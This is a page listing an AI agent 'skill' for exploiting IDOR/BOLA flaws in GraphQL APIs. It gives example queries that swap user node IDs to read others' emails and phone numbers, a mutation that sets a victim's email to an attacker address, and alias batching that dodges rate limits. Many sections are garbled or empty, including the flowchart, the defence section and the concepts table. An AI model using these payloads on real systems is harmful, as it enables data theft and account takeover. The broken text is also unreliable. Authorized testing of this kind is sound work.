Graphql idor

From ShulkwiSEC/bb-huge · View interactive version

Graphql idor is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Identify and exploit Insecure Direct Object Reference (IDOR) or Broken Object Level Authorization (BOLA) vulnerabilities specifically within GraphQL APIs. This skill focuses on manipulating node IDs, changing variables, and utilizing aliases to access unauthorized data.

How to use this skill

Skill file

GraphQL IDOR (BOLA) Exploitation

When to Use

Prerequisites

Workflow

Phase 1: Identifying the Schema & IDs

# Concept: ```

### Phase 2: Intercepting & Modifying Queries

query getUser {

user(id: "VXNlcjoxNTA=") {

id

email

personalPhone

}

}

query getUser {

user(id: "VXNlcjoxNTE=") {

id

email

personalPhone

}

}


### Phase 3: Exploiting Mutations (State Changes)

mutation {

updateUserProfile(input: {

userId: "VXNlcjoxNTE=",

email: "hacker@evil.com"

}) {

success

}

}


### Phase 4: Batching & Aliases (Bypassing Rate Limits / Automation)

query {

user1: user(id: "1") { email }

user2: user(id: "2") { email }

user3: user(id: "3") { email }

}


#### Decision Point 🔀

flowchart TD

A[Identify Node ] --> B{Node ID modified ]}

B -->|Yes| C[Check Response ]

B -->|No| D[Check Context ]

C --> E[Verify Data ]



## 🔵 Blue Team Detection & Defense
- **Object-Level Authorization**: **Context-Aware Resolvers**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Graphql Idor — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.